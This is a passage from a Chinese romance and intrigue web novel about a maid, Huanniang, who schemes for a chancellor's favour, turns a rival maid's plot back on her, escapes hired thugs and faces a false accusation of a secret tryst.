欢娘的意识随着动作,逐渐模糊,只凭着本能,死死的缠着他。 不能放,放了她哪里还能有机会? 所以到最后,她就跟八爪鱼一样,死死的缠上他,身子紧贴着,不留半点缝隙。 “还真是……甩都甩不掉了?” 不知过了多久,她隐约听到相爷讥笑嘲讽。 “嗯,甩不掉,死都要缠着。” 她累及了,闭着眼嘟囔了一句。 顿时感觉到一阵不适,她不满的嘤咛了两声,便勾着他,晕了过去。 欢娘再次清醒时,闻到了一股檀香味。 一眼看去,竟是在禅房? 桌前,相爷喝着茶,看着书,一身青色长衫的那张脸多了几分温雅,好似不同昨日那般,不近人情。 “将衣服换好,车已经在外候着了。” 她看的有些呆。 突然听到相爷开口,她垂下头。 怪不得他换了衣裳?相爷的里衣竟是穿到了她身上? 那昨日……那极尽荒唐,要了命的缠绵,便不是梦。 欢娘瞬间笑弯了眼,拿起衣衫便坐在床上换。 萧怀停余光瞥见她脸上那惹眼的表情,暗恼,总觉得昨夜又是着了她的道。 又娇又白的身子在他眼前晃了一下,他便不着痕迹的避开了。 回去的马车上,便只有他们两人。 大公子一直不见人影,欢娘也很识相,没多问。 欢娘采摘来的一筐大叶绿茶,明晃晃的放在萧怀停面前。 她就拿刚采摘的嫩芽,给他泡茶喝。 那茶叶所能勾起的回忆,好像不仅只是她昨夜采茶的辛苦。 她在笑。 他依旧冷着脸。 却因她的表情,一路都有些气燥。 回到府上时,欢娘抱着箩筐跟在相爷身后,他没吱声,她便一路跟着。 到了长丰院以后,欢娘找到采菊,将那些茶叶交给了她。 “太好了,我还正愁着这季节,去何处寻好的茶叶呢,这雪后的新茶可是很稀有,你从何处找来的?” 采菊看到那翠绿的嫩芽,很是高兴。 “听僧人说,寺庙后山里有,我便都找来了。” “这么多,应当能迎来来年早春的新茶了,欢娘,你可帮了我大忙,谢谢。” 采菊是长风院的大丫鬟,给相爷奉茶,伺候起居是分内事,所以她自然要事事让相爷满意的。 “相爷喜欢,那便好了。” 欢娘被夸的有些心虚。 这哪里是帮了采菊的忙阿,分明就是她自己得了便宜。 所以寒暄了两句,她就回去了。 一头就扎进自己屋子里,这一晚上发生的事情,她得好好缕缕了。 如果第一次是她趁人之危,那昨晚呢? 萧怀停沐浴更衣后,采菊便泡了新鲜的绿茶送来。 阵阵茶香,似乎还伴随着雪花的冷冽。 “人呢?” 他有些意外,怎么不是欢娘亲自送来? 采菊愣了半响,看到相爷是看着那茶叶说的,这才明白。 “欢娘她回去了,爷可是要寻她?奴婢这就将人唤过来。” 萧怀停冷眸一凝。 “回哪儿?” 采菊被问的更是莫名。 “欢娘说,还得回去侍奉大公子,这茶叶也是她交给奴婢的。” 虽然不知道为什么,但她察觉到相爷似乎不大高兴。 当她解释完,那情绪就更冷了些。 莫不知这欢娘,开罪了相爷? 她有些心惊胆战。 回去了?萧怀停还真意外阿。 她不是费尽心机的要到他身边来吗? 如今有了机会,却又回去? 是欲擒故纵,还是……舍不得那边的荣华富贵? 萧怀停眸色渐暗,看着那泡的鲜绿的茶叶,心下越发烦躁。 欢娘回到屋子后,赶忙就换上了旧衣。 穿出去的那身,应当是相爷命人清理过了,可上面夹杂着浓烈的梅香。 她怕穿着出去,招惹了是非。 大公子从昨日爬山便消失了,她得去问清楚,大公子何时回来的,又可知道昨夜相爷去山中寻她? 可才刚出门,便被月莹拦住了去路。 第二十九章怕什么?我给你撑腰 前日还病殃殃的,可今天倒是容光焕发,那张脸依旧娇俏,看欢娘的眼神,也不再向先前那般,只是当个无关紧要之人。 她眼底的恨意一闪而过,又克制着,冷静下来。 “昨日,公子带着你出府了?” “姐姐这是来问罪的?” 欢娘柔声问道,透着些许疏离。 “公子命你做事,我哪有资格问罪?不过是关心你,问问昨日的行程,你可知昨夜公子归来,和那宁姑娘起了很大争执?” 月莹轻蹙眉,看她那眼神,好像担心自己会吃了她。 她就更气恼了。 胆子这般小的人,到底是怎么得公子喜爱的? “他们又吵架了?那和我也没什么关系,我什么都没做,而且昨夜我还在寺庙。” 欢娘有些诧异,又无辜。 心里却念叨着,原来公子昨夜人就回来了阿。 “听闻,是因公子昨日带你出府一事,才吵起来的。” 月莹又道。 “欢娘,你觉得那位宁姑娘对你是真的好吗?因为你,她和公子可是三番四次在吵架。” “姐姐这是何意?” 欢娘有些诧异,她这就是沉不住气了吗? 不过想来,冯婆已经被送到矿山去了,她等于没了娘亲。 而她的地位,也受了自己的影响。 她怎么还坐得住? 这是……要明着拉拢她,对付宁从夏? “你想想,如今你和公子还没什么,她便这般嫉恨,他日若你真的上了公子的床,她会如何待你?” “这几日你应该能看出来,公子待她极好,将来她是要进府做主子的,做了你的主子,你还能有好果子吃吗?” 月莹苦口婆心的劝说。 那还真是……句句在理。 “我们做奴才的,可不就指望着宽厚待人的主子吗?如今我只是希望未来的少夫人能容得下你我这般身份卑贱的丫鬟罢了。” 不仅有理,还流露了真情实感,她们的处境,似乎是一样的? “可公子那般喜爱宁姑娘,我们又能如何呢?” 欢娘假装是被说动了,露出愁绪和为难。 见她被说动,月莹嘴角微微一弯。 “我兄长在外做事,关于这位宁姑娘,倒是打听到一些事。” 欢娘有些意外,这下眼睛里的好奇倒是真的了。 倒是不想,宁从夏这人的经历,竟是那般的丰富。 “欢娘,若是有朝一日宁姑娘进门了,之后老夫人才知道她背后那么复杂,你说老夫人会不会很难过?她可是那般的器重你,你是不是也该回报老夫人?” 说完后,月莹又引导性的问道。 仿佛欢娘如果不去老夫人那里告密,就对不起老夫人的良苦用心了。 “姐姐说的倒是有些道理。” 欢娘还一脸的震惊,好像还没回过神来。 有些木然的点了点头。 月莹便笑了,自认为,胜券在握。 “我这也是为了公子,为了相府的名声,我相信你肯定跟我一样,都是为了主子好。” 她还特地拉起欢娘的手,故作亲昵。 “嗯,这是自然。” 让她出头,去老夫人那里告状? 再由老夫人出面,来棒打鸳鸯? 呵…… 只怕大公子会冲冠一怒为红颜,若是吵的太凶,他再次离家出走。 老夫人定会责怪她。 若他没有离开,也定会为了宁从夏和老夫人大吵一架。 因她告状,两个主子闹翻,她还是会死的极惨。 月莹这一招,就是要借刀杀人。 可她这把刀,锋利的很,怕她用不惯。 倚竹院里,伺候宁从夏的丫鬟都是老夫人的亲信,她老人家有要亲自考察宁从夏。 何须她去说三道四的? 只是这消息,确实应该说出去。 下午,她去老夫人院中,找赵娣叙旧,顺便打听了一下老夫人的境况。 听闻倚竹院的丫鬟会时常过来禀告后,她也就放心了。 “对了,过两日便是你生辰,往年老夫人都给你放一天假,今年是不是也如此?” 欢娘有心想帮她庆祝,所以要提前打听清楚。 “嗯,你瞧瞧后日能不能告假半日?来我家吃酒。” 赵娣点点头,热情相邀。 “我尽量。” 欢娘点点头,盘算着她定要给赵娣好好的过个生辰,报答她这些年对自己的帮助。 等晚些时候回到院里时,书房里居然点着灯。 欢娘有些意外。 每日早课还是相爷下的命令,否则公子他压根不喜欢读书。 真是没想到,还能见到他晚上用功的。 欢娘去小厨房泡了茶,主动走进去。 “别来烦我。” 才跨过门槛,就被公子厉声吼了一句。 每次和宁从夏吵架,他都没给好脸。 欢娘默默往外退了一步。 “公子若有吩咐,尽管叫奴婢。” 也罢,不用伺候,回去躺着。 说完她就要走。 大公子却在这时抬起了头。 “欢娘?” 那表情,好像还挺意外的。 “你进来。” 那脸色,变得也是真快。 欢娘进屋,换了热茶。 却见公子一直盯着她,神情有些古怪,似乎有话要说,却又有所顾忌。 她不禁有些慌乱。 总不能是公子他知道了些什么吧? “公子,您……是不是有话要说?” “你……” “你昨日……没事吧?” 只见大公子点了点头,要开口,却又犹豫,看着表情都不自然。 “奴婢没事。” “总归父亲说的对,是我将你带出去的,却中途先回来了,这次又是你受了委屈。” 只见大公子说着,涨红了脸。 “父亲罚我默写千字文五十遍,我认罚,只是……你若有什么要求,尽管提。” 欢娘看着他别扭的样子,好似知道是怎么回事了。 大公子这是觉得愧对于她吗?让她一个丫鬟提要求,那不是变相的在道歉? 可真是少见了。 不过她也放心了,看来大公子对昨日的事情,一无所知。 “山上不还有相爷吗?公子也没丢了奴婢不是?” 欢娘放心下来,还笑着宽慰。 “虽是如此,但这非君子所为。” 可大公子神情却是无比认真。 似乎是打定了主意,非要给她一点补偿。 “公子……当真任着奴婢提?” 看着他的样子,欢娘生出了几分逗弄的心思。 眼波流转,好似一下就生成了个坏主意。 第三十章偏宠 萧晋文真的紧张了。 因为他一下就想到欢娘是他通房这层身份。 万一她……那可不行。 萧晋文莫名的有些脸热,看着欢娘粉白的脸,笑意盈盈,生机盎然。 可说出去的话,岂有收回的道理。 已经被父亲狠狠数落了一番,他也自认实在不负责任,若是还言而无信,那他真的就太看不起自己了。 “嗯,你说。” 他咬了咬牙。 “公子,您也知道,奴婢以前是老夫人院子里的,来这里没多久,不得您欢心,也没什么朋友……” 欢娘柔声说着,肉眼可见的可怜。 只见大公子的表情,越发不自然了。 她憋着笑,说的极慢,看着他坐立不安。 “奴婢的好友过两日要过生辰,奴婢想请一天的假,出府陪她过生辰,还请公子允诺。” 但她也是见好就收,眼看公子都快要站起来,她话锋一转。 请求的格外真诚。 “不扣月钱的请假,行吗?” 在公子惊愕中,她又补充了一句。 只见他像是突然避开了一件极可怕的事,长长的输了口气。 轻松的样子,好像是在说,就这? “行。” 他笑的轻松。 瞬间,脸上的苦色都淡了许多。 他端着热茶,慢慢的品。 欢娘也忍不住笑了。 当下,似乎是极好的时机。 “公子,奴婢有一事,要禀报。” 她先喊了人,才故作紧张的看看四周,生怕被人看到的神秘模样。 “你说。” 萧晋文一下就来了兴致。 “是有关宁姑娘的。” 欢娘正色道。 因害怕被人听到,她直接就凑到公子身边。 萧晋文一听,眉头冷蹙。 下意识就觉得,欢娘是不是又要说小夏的不是了? 这些女人,为什么就总喜欢针锋相对? 可转头又想起自己接二连三的误会她,还是忍了。 “宁姑娘混迹江湖这些年,生活不易,听闻她在京都的噬月楼化名黑鲽,接了不少任务,暗杀过京都不少贵人……” 欢娘压低声音,婉婉道来。 语气极为认真,还透着些许紧张。 萧晋文浑身一怔,黑着脸听她将事情说完。 可看她的脸色,是越来越冷了,欢娘故作无知,继续低声道。 “此事……非同小可,公子不妨先想办法,将宁姑娘这些往事抹除了,以免之后有人拿此说事,伤害宁姑娘,也伤害公子。” “也怕……因此伤了相府颜面,惹的老夫人伤心。” 欢娘顿了顿,又道。 她可是全心全意的在为主子考虑呢。 萧晋文微愣,有些不敢相信的看着她。 “你……是这么想的?” “自然,奴婢可不愿公子遭人非议。” 她点点头,答的极其干脆。 这般真诚,又从未算计过他,而且受了委屈也从不哭诉。 萧晋文竟是有些愧疚。 “也不愿宁姑娘因此受了委屈,只要你和宁姑娘好,奴婢就开心。” 她想了想,又补充道。 前世她真是这么想的,只是今生,说出这样的话,她都觉得讽刺。 萧晋文一听这话,心情便越发复杂了。 “欢娘,你是个好丫鬟,来日,你若遇到个喜欢的,我定给你做主,送你风光出嫁。” 他想,还是尽快说清楚,别耽误了这好丫鬟。 省得她还对自己抱有遐想,毁了她下半辈子。 可却见欢娘一脸惊愕的看着他。 “你我并无男女之情,而且你……还比我年长几岁,我实在是……既然你也看出我对小夏的感情,我也不妨直言,我从未有过收通房的打算。” 萧晋文心一横,干脆解释清楚。 欢娘却吓得跪了地。 “公子,您这是要将奴婢撵出去了?” 无辜又紧张。 “我不是这意思,只是你犯不着再在我身上费心思。” 萧晋文忙解释着。 可她却还是一脸的懵懂。 他突然有些无奈,欢娘到底只是个小丫鬟,不识字,没见过世面,又怎听得懂他说的那些话呢? 只有小夏能懂他。 算了算了,话不投机半句多。 “可就算他日……奴婢有了心悦之人,奴婢也已经是公子的通房,那人只怕要嫌弃奴婢的。” “而且,奴婢孤苦伶仃,没人能为奴婢做主,也没什么家当……” 偏偏就在他要放弃时。 欢娘涨红了脸,磕磕绊绊的跟他说了这些话。 她似乎……也懂一些。 只是她考虑的问题,更现实了些。 “这还不简单吗?本公子给你做主就是,至于家当……本公子在此应承你,他日你若出嫁,定给你一份丰厚的嫁妆。” 萧晋文再次注意到她那身旧衣。 想来她确实过的凄苦,连像样的衣服都没有。 “公子,说真的?” 给她做主?日后他若知道,只怕在相爷面前都不敢抬头,怎么给她撑腰呢? 倒是嫁妆,欢娘眼睛都亮了。 萧晋文见她高兴起来,看来是把他的话听进去了,他也松了口气,点点头。 欢娘自然是个好丫鬟,他理应善待。 但话说回来,方才说到小夏那些事,他真是纳闷。 “对了,你是如何知晓小夏那些事的?” 欢娘收了收心神。 话题扯远了,险些忘了重要的事。 “其实……月莹姐姐也担心公子和宁姑娘,才特地将此事告诉奴婢。” “月莹?” 她毫无心理负担的点点头。 就这样把月莹给卖了。 原本她将这些事告诉她,也没安什么好心。 “她操心的,可真多。” 只听大公子冷笑着道。 欢娘便知道自己的刻意诱导,是成功了。 只怕公子觉得那都是月莹暗中指使,不安好心。 因为小夏那些事,可都不光彩,任谁知道了,都是麻烦,是负担,是丑闻。 之后,公子也没再多说什么。 “过来磨墨。” 只是深夜寂静,他一人要写很多字,实在是种折磨。 欢娘便在一旁伺候着。 “公子,这千字文到底是讲什么的?” 时不时她就问两句话,解解闷。 书房里两人一直待到了后半夜。 夜晚烛光亮着,真是好不显眼。 翌日一早。 院里就热闹了。 大公子身边的小厮小童亲自送来了一套紫砂茶具,还将欢娘屋子里的桌椅板凳换了一套新的。 下人们围在那小屋周围,看了又看。 欢娘当真是受宠若惊,越发公子这主子,其实除了脾气大些,挺好伺候的。 这不比相爷那阴晴不定的好多了吗? 第三十一章这都是姐姐的功劳阿,你气什么? “公子说你昨夜伺候的好,这二十两银子,便是赏你的。” 除了住处改善,居然还有银子拿。 更重要的是,小童的声音可不小。 周围的仆人,可都听到了。 不远处,月莹也站在走廊下,扫过来的目光都是冰冷的。 “只要公子喜欢,那是奴婢本分。” 她勾起笑容,声音也不小。 现在的月莹,顾虑还是太多了,得再逼一逼,人只有在更疯狂的状态下,才会做出格的事。 等小童离开后,有那么几个人跑来恭喜她,还主动提出要帮她打扫房间。 欢娘婉拒了。 她的屋子,不喜欢被别人碰。 想来昨夜那些话,公子是当了真的。 他今日,便这般明目张胆的护着她,只要她继续做一个‘忠诚又憨厚’的丫鬟。 她在公子这边,也算是站稳脚跟了。 等人都散去以后,月莹到底是没忍住,走了过来。 “你昨天去找老夫人,她老人家怎么说?” 这和她想象的,不一样。 等了一晚,她以为会等来老夫人的人,可没想到,却是公子对这欢娘越发的上心了。 “我昨日,没见着老夫人,不过月莹姐姐你说的事情,我觉得很重要,所以昨晚我已经告诉公子了。” “而且也跟公子说,这是月莹姐姐的功劳。” 欢娘是一脸认真,一副因为刚得了赏赐,还很高兴的样子。 “你说什么?” 可月莹却是脸色骤变。 她简直不敢相信自己听到的。 “公子他……” “闭嘴。” 欢娘还要笑着解释,月莹已经气的跳脚,忍不住指着她。 “怎么会有你这样的蠢货?” “不会阿,公子已经知道了此事,而且还赏赐了我那么多东西,说明姐姐你的判断是正确的阿,我们确实帮了公子。” “姐姐可是要这些赏赐?” 欢娘一脸无辜。 心里却笑的直抽抽,憋都憋不了。 月莹气的咬牙切齿,抬起手恨不得扇死这蠢货。 扬在半空的手,在轻微颤抖着。 “你……你怎么了?” 欢娘被吓得后退了半步,一脸惊恐的看着她。 月莹强忍着,忍了又忍。 两眼一闭,最后还是忍住了,可只怕她是忍的要吐血。 欢娘看着她离开的背影,整个人都透着强烈的怨气。 午后。 欢娘去找了丽姑姑,第一批香料已经做好,交给她去卖。 然后她继续提着花篮,去长风院捡梅花瓣。 可惜运气不好,没遇上相爷。 扫了一圈没什么人,她干活就极快,匆匆捡完离开。 有了温泉池那一晚,就好像吃了磕定心丸,她觉得相爷也不是完全油盐不进。 看来先前的法子太温吞了些,她得另外计划。 傍晚。 欢娘门口,来了一个眼生的小丫鬟。 她有些莫名。 “奴婢是大厨房的春芽,前两日看见姐姐在厨房外采摘梅花做吃食,奴婢知道有一处荒宅里种了许多红梅,开的正是艳丽,若都能摘回来,定能做许多的美食。” 叫春芽的丫鬟,说的有些急切。 欢娘疑惑的打量着她。 小丫鬟脸蛋红扑扑的,似乎是有些紧张。 “奴婢……奴婢只是听张爷提起,相爷喜欢你做的吃食。” 她又解释道。 这是她来找自己的理由? “很快的,来回最多两个时辰,而且奴婢已经跟张爷说过,他也同意去采梅花,姐姐若是不信,可去问问他。” 她看着很诚恳。 而且张爷这人,是赵娣介绍给她认识的,为人又不错。 她思索片刻后,就算有个万一,那也是一心为相爷,他知道后总不能一点想法没有吧? 值得冒险。 权衡利弊之下,欢娘答应了下来。 随后两人就背着箩筐,往外走去。 春芽所说的地方确实不远,从相府后门出来,走了一条街,他们来到一处荒院。 角落里不起眼的狗洞。 春芽已经撅着屁股,钻了进去。 “姐姐,把筐先给我,这里虽然是荒院,但门都是锁着的,只能从这里进去。” 她在里边喊着。 来都来了,欢娘也别无选择。 而且在院外,她就已经看到了里边开的极好的梅花,那些在她眼里都是邀宠的工具,很吸引人。 所以她也学着她的样子,撅起屁股就往里面钻。 没人会看到,所以不算败坏形象。 荒芜的院子里,有很多枯草,不知是荒废了多久,凉飕飕的。 而这里的梅树也是真的多,一整个院子都种满了红梅。 春芽跟着她采摘了一会儿。 “哎哟,姐姐,我肚子疼,去方便一下……” 欢娘一听这话,手一抖,折断了一朵梅。 等她回头,便看到春芽已经一头扎进了荒草中,不见踪影。 而此时,天色渐暗,这院子看着就越发的阴森可怖。 一眼扫去,确实一个人都没有。 欢娘看着面前的梅树,扫了一圈后,从地上捡了一堆碎石子放在篮子里,便一边摘一边爬了上去,逐渐往院墙边靠近。 花篮勾在树枝上,她匍匐着,摘花。 摘了两三朵别在头上,她又碾碎一些,弄在衣服上。 突然,一阵急促的脚步声传来。 不远处,三名壮汉,急步朝着这边走来。 欢娘眉头轻蹙。 “人呢?” 径直走到树下,三人到处寻人,其中一壮汉,还恶狠狠的问道。 不等欢娘有动作,下面的人猛地一抬头,便看到了她。 “在那儿呢,快……” 只看一眼,三人连忙冲到树下,就要往上爬。 所以,果然是来找她的? 欢娘还真是意外,却又在意料之中。 抓起花篮里的石头,就往下面砸。 碎石头劈里啪啦,砸在头上虽不致死,却是真的疼。 很快就传来了他们惨烈的叫声。 “小贱人,敢砸老子,等老子抓到你,非弄死你不可。” 那人骂骂咧咧,欢娘瞄准,最大一颗石头朝着他头砸下去,那人疼出了猪叫声。 可她也不敢再耽搁。 这树不高,只要他们上来,自己逃也逃不了。 她转身踩在围墙上,飞快的往前面跑了十多米,两米高的围墙,算不得多高。 而且外面就是街道。 欢娘跳下去就往人多的地方狂奔。 第三十二章像只兔子,就那么撞过来了 此刻也顾不上自己的样子,得有多狼狈。 而那些人,追到了街口,看着她奔入热闹的街道以后,愤愤的站在远处跺脚。 欢娘不敢耽搁,卯足了劲往相府奔去。 万幸,他们还没那么明目张胆,赶在街道上就拿人。 可……会是谁要害她呢? 她的仇人,也就宁从夏和月莹一家子。 可宁从夏这些日子在养病,又高傲,怕是不屑去打听她这阵子做的事。 而且她就算要找人对付她,现在也怕是行动不便,不会特意引出府外动手。 月莹,那就只能是月莹了,她的嫂子就在大厨房做事,很清楚细节,而且她确实也有人脉。 就算不是月莹,那也是和她相关之人。 想起今日她愤然离开的样子,难道是她实在憋不住了,想出出气,找人揍她一顿? 欢娘一边走一边思索着。 却突然看到前方出现一辆熟悉的马车,低调却奢华,在这集市里,走的极慢,仿佛是怕惊扰了周围的人。 所以这算是灾难过后,必有后福吗? 欢娘连忙弄乱了衣衫发型,一鼓作气的就冲了上去。 “救命,救命,相爷,救命……” 她喊的惊慌失措,一下冲到马车旁,扒着车杆。 一旁走着的萧一看到是欢娘的瞬间,就把手收了回去,马车停下。 欢娘不管不顾,扯着萧一的胳膊就直接冲进了车里。 就这? 萧一有些凌乱。 现在的奴婢都已经这般大胆了吗?主子的车,也敢乱跑的? 上都上了,欢娘还能矜持? 她一鼓作气,掀开车帘看到相爷的瞬间,就直接双腿一软,双眼迷离,扑到了他跟前。 整个身子都扑到他腿上,抱着。 “相爷,呜呜呜……” 然后就直接低声哭了起来,大颗眼泪顺着脸颊掉落。 简直就是有失规矩,不成体统。 当街拦车就闯进主子的车里,谁给她的胆子? 萧怀停冷着脸,却在看到她抱着自己大哭,好像抓住救命稻草一般的神情时,心底生出了一丝怜惜。 这才看到那哭的梨花带雨的脸,也是乱七八糟,发间还坠着几朵梅花,跑进来时,还掉了一朵。 那白皙的手腕上,一条红痕,好似是要破了,衣服也是皱皱巴巴的。 “你这是怎么了?” 总不能是遭遇了抢劫,就她这样子,也不富有。 倒是有几分姿色,莫不是被…… 萧怀停的目光如刀子一般顺着她的眼泪移动,从脸颊到脖颈。 他忽地附身,凑了上去,轻轻嗅了嗅。 依旧是野蔷薇的味道,却掺杂了很淡的梅香。 “奴婢方才……” 欢娘被他这突然的靠近吓一跳,但也没后退,反而手还从他腿上,慢慢的往上移,抓住了他的衣袖。 声泪俱下的说起自己这一天心惊胆颤的遭遇。 “还好遇到您,否则,奴婢真不知会怎样。” 说完她就靠在他腿上,嘤嘤嘤的痛哭,一副被吓惨了的样子。 “萧一。” 萧怀停只是喊了一声。 “是。” 外头传来侍卫的声音,之后马车便靠着墙边停下。 萧怀停看着趴在自己身上的女人,心绪复杂。 一时没控制住,手便搭在了她凌乱的发上,将那凌乱的梅花摘下。 欢娘猛地一抬头,竟是直接整个身子都扑了上拉,紧紧的搂着他的腰。 像是受了惊的大白兔,莽撞的往怀里撞,不顾主人的死活。 萧怀停沉着眸,索性手搭在她腰上,将人抱进怀里。 欢娘就是得寸进尺,恨不得就贴在他身上,扒也扒不下来。 萧怀停冷着脸,却没说什么。 直到萧一回来。 去那荒院探了探,就没找到欢娘口中的狂徒。 倒是树上还挂着的花篮被带回来了,有小半框的梅花。 “这些都是从树上摘的,可以给相爷做些吃食……” 欢娘抓到机会就解释自己的‘心意’。 “你若乖乖待在府里,便不会遇险。” 可相爷却不领情,反而还责怪她,自讨苦吃。 “梅花开的短,过了这一季,可就没了,而且梅树本就稀有,奴婢知道可能有危险,那也顾不得。” 难哄的男人。 欢娘默默嘀咕了一句,却更加情深的望着他。 “相爷,您……能不能帮帮忙,将那些梅花都摘回来?” 然后还有些厚颜无耻。 反正自己做这一切,最终受益的都是他。 见他不语,欢娘又继续道“于相爷而言,不就是一句话的事吗?可奴婢一个小丫鬟,却险些为了摘梅花,没了性命。” 她说的极委屈。 手紧紧的勾着相爷的脖颈,头也埋在他胸口处。 简直大胆的离谱。 可欢娘坚信,只要相爷不推开,那就是默许,只要默许了,她就能更大胆。 什么脸皮?在相爷面前,她不要。 “那院子还未解封,私自进出,可判罪入狱,你还想拉着本相一起犯罪?” 萧怀停声音冷酷,手却伸进花篮,抓了一把娇艳欲滴的梅花。 那股梅香,却不及怀里的人。 欢娘还真没想到这个,惊了一瞬。 “奴婢没有,奴婢怎么敢呢?就算吃了熊心豹子胆,奴婢也舍不得阿。” 她摇了摇头,连忙解释。 “那就不去了。” 她还真不知,一个荒废的院子,进出还能被判罪的。 萧怀停冷笑一声。 “回府。” 吐出极淡的两个字。 此时的天,已经全黑了。 马车缓缓前行,欢娘的身子也跟着轻轻摆动,相爷大概是为了固定住不让动,所以放在腰间的手,十分用力。 渐渐的,她就不大舒服了。 身体没来由的燥热起来,欢娘就有些纳闷。 人家只说她是易孕体制,可从来没提过,她会对男女之事那般敏感的。 意识到自己又有了龌龊心思,欢娘只觉得没脸见人,暗暗祈祷着,可千万别让相爷发现。 所以她磨蹭了两下,就主动从他怀里下来了。 “今晚,奴婢给您做些宵夜送过去,可好?” 可欢娘依旧觉得有些脸热。 看着那新鲜的梅花,她就想着干脆趁热打铁,再巩固一下感情。 最重要的是多睡觉,有利于她怀孕。 萧怀停始终淡漠,可当她挣扎着要退开时,竟觉得空落落的。 约莫是抱的久了,突然撤手,不习惯。 他正收回心思,却听她突然道。 一双水汪汪的眸,含了情,脸颊绯红,像极了她仅够着他腰身,不让他动那一夜。 第三十三章私会男人?定罪 “随你。” 他有些懊恼的别开了脸。 莫不是,太久没碰女人,才总是惦记? 欢娘刚回到承德院。 却见屋内灯火通明。 还不等她说话,两个粗使婆子就走了过来,将她带进主屋。 好似对待犯人一样。 而屋内,除了公子,居然宁从夏也在,月莹站在一旁伺候着。 气氛很和谐,却安静的有些诡异。 所以这番大动干戈,是要审讯她这犯人吗? 她余光注视着月莹,如果外面的事情是她设计的,那公子等在这里,是不是也是她所为? “今日,你去了何处?” 欢娘刚行了礼,萧晋文便问道。 毕竟误会了那么多次,所以这次,他打算给欢娘解释的机会。 欢娘抬头,只见宁从夏和月莹都看了过来,目光还带着些许笑意。 那是在幸灾乐祸,坐等看戏? “回公子话,奴婢随着大厨房的奴婢出了趟府。” 果然,是出去了。 萧晋文眸里多了一丝冷意。 “哪个奴婢?” 他又问道。 “她说她叫春芽,是大厨房新来干杂活儿的,先前奴婢也没见过她人。” 欢娘垂下头,认真回答。 “月莹,你去问问大厨房,可有叫春芽的奴婢?立刻带来对峙。” 欢娘有些莫名,直觉告诉她,不在的时候,只怕又是一盆脏水泼了过来。 想起今天的遭遇,若不是她机警,被那些狂徒抓住,还不知是怎样的下场。 而害她的人,显然不仅仅是要欺辱她。 眼前这局面,那人的目的,也不言而喻了。 想到此,欢娘直接跪了地。 “公子,奴婢有罪,没有经过您的允许,奴婢就擅自出府,还请公子责罚。” “呵,只怕你的罪,还不止于此。” 话音刚落,就听到宁从夏冷笑着,嘴角也勾起一抹嘲讽。 “奴婢还做错了什么?” 欢娘一脸懵懂的问道。 只见大公子冷着脸,一言不发。 宁从夏冷冷的撇过她,也没说话。 屋内再次安静下来,她就跪在那里。 直到月莹匆匆从外面跑回来,站在欢娘身旁。 “公子,奴婢去厨房问过了,根本没有欢娘所说的那个人,厨房的管事嬷嬷便在外候着。” 只见大公子唰的一下站起身。 快步走向欢娘,那气势汹汹的样子,好像又会一脚踢在她身上。 欢娘身体微微往后倾斜着,忙摇着头,一脸无辜。 “怎么会呢?怎么可能没这个人?就是她喊我出去,是她说外头有梅花,叫着我一块儿去采的,公子您看,奴婢真的带了梅花回来。” 她红着眼连忙解释。 萧晋文看着她震惊又无辜的样子,硬生生忍住了脚。 “你说清楚,到底怎么回事?为何月莹的兄长会看到你在外,私会男人?” 可忍住没动手,却忍不了嗓门。 “私会?谁看到的?” 欢娘红着眼,惊愕的目光,看向月莹。 “欢娘,我哥今日休沐回府,路上看到你和一个男人拉扯,关系甚是亲密。” 月莹故作为难的道。 而宁从夏便一脸从容,坐在那里看这一出好戏。 “我没有。” “公子,奴婢绝对没有,奴婢发誓。” “公子,您是不是忘了昨晚您答应过奴婢的事?奴婢就算是有,也用不着瞒着您阿。” 欢娘着急的连忙解释。 所以她的猜测果然没错,今天这一切都是月莹设计的。 看来她是觉得,自己已经威胁到了她的地位,动不了宁从夏,她是打算先除掉自己。 “萧晋文,你答应了她什么?” 宁从夏本还幸灾乐祸,可一听到昨晚,整个人的汗毛都立起来了。 这一大清早,就传的沸沸扬扬,风言风语,若不是月莹突然来告状欢娘去私会情人。 那就是该她找萧晋文问清楚了。 此刻欢娘一提,她当然憋不住。 萧晋文被小夏的质问吓了一跳,转头就看到欢娘一副好像做错事的无辜表情,连忙捂住了嘴巴。 “回头我再跟你解释。” 这局面,似乎有些尴尬。 萧晋文回头跟她说了一声。 倒是让她这么一搅和,让他想起了昨晚的事。 欢娘这也不是第一次被针对了。 而且昨晚他已经将话说的那般明白,她若有心上人,直接说,他定成全。 她何必这般偷偷摸摸呢? 再者,早上才赏赐了东西,下午就出事?这合理吗? 他原本以为是欢娘得宠了,狂妄。 可她就不是那样的人,若是,又怎会不小心就被人发现呢?还碰巧,又是月莹家里人。 “男子汉大丈夫,做事还偷偷摸摸的?难道你和欢娘,还有什么见不得人的?” 他正思忖着,指责的声音再度传来。 这语气,这声调,他可太熟悉了。 一抬头就看到满屋子的奴才都在。 可宁从夏却已经起身,朝着他走来。 没说话,只是一双眼睛气鼓鼓,直勾勾的瞪着他,瞪着欢娘。 她眼中,他们二人好似奸夫淫妇。 “宁姑娘别误会,奴婢和公子不是您想的那样,在奴婢眼里,公子就是主子。” 欢娘连忙解释。 萧晋文看着她那着急辩驳的样子,和刚才就是一模一样。 此刻被小夏用那样的眼神质疑和怀疑,他竟是有些理解欢娘的心情了。 原来一直被人冤枉,百口莫辩,竟是这种感觉。 啪…… 突然一个耳光就从他面前飞了过去。 额头的碎发都随着那掌风,轻轻飘动。 那凌厉的巴掌,就越过他,打了下去。 萧晋文看过去时,欢娘那左侧脸颊上,已经是一个极其鲜红的巴掌。 根根手指分明。 “主子说话,你一个贱婢插什么话?” 宁从夏厉声一吼。 萧晋文抬头便看到她那双冰冷带着杀气的眼神就冷冷盯着欢娘。 迁怒,这绝对就是迁怒。 他眸色渐冷。 “宁姑娘恕罪,奴婢不敢。” 只见脸颊被打红的欢娘,极卑微的磕头,被打的是她,道歉的还是她。 只见她瑟瑟发抖,怕极了。 看着咄咄逼人的小夏,萧晋文失望透顶。 “月莹,你说是你兄长亲眼看见的?你那兄长,认识欢娘?” 于是,他做了个极其大胆的决定。 也不管欢娘是否被冤枉,他便将人先扶起来。 第三十四章沉默,就赢了? 宁从夏满脸不可置信,死死瞪着萧晋文,仿佛是在问,你敢?你怎么敢的? 而月莹,也没料到会有这样的变数。 看着公子将人扶起,她心里有些慌乱。 “回公子话,您不在府上这些时日,兄长来院子探望过奴婢,是见过欢娘的。” 她垂着头,语气尽量平和的解释。 要稳住,反正今日欢娘出门了去事实,可却没人知道她去做什么。 没有证据,也没有证人,就算公子要帮她,也怪不到她头上来。 萧晋文冷冷的扫了她一眼。 “欢娘,那你可认识月莹的兄长?” 他又问道。 “奴婢……见过,可今日奴婢确实没见着他。” 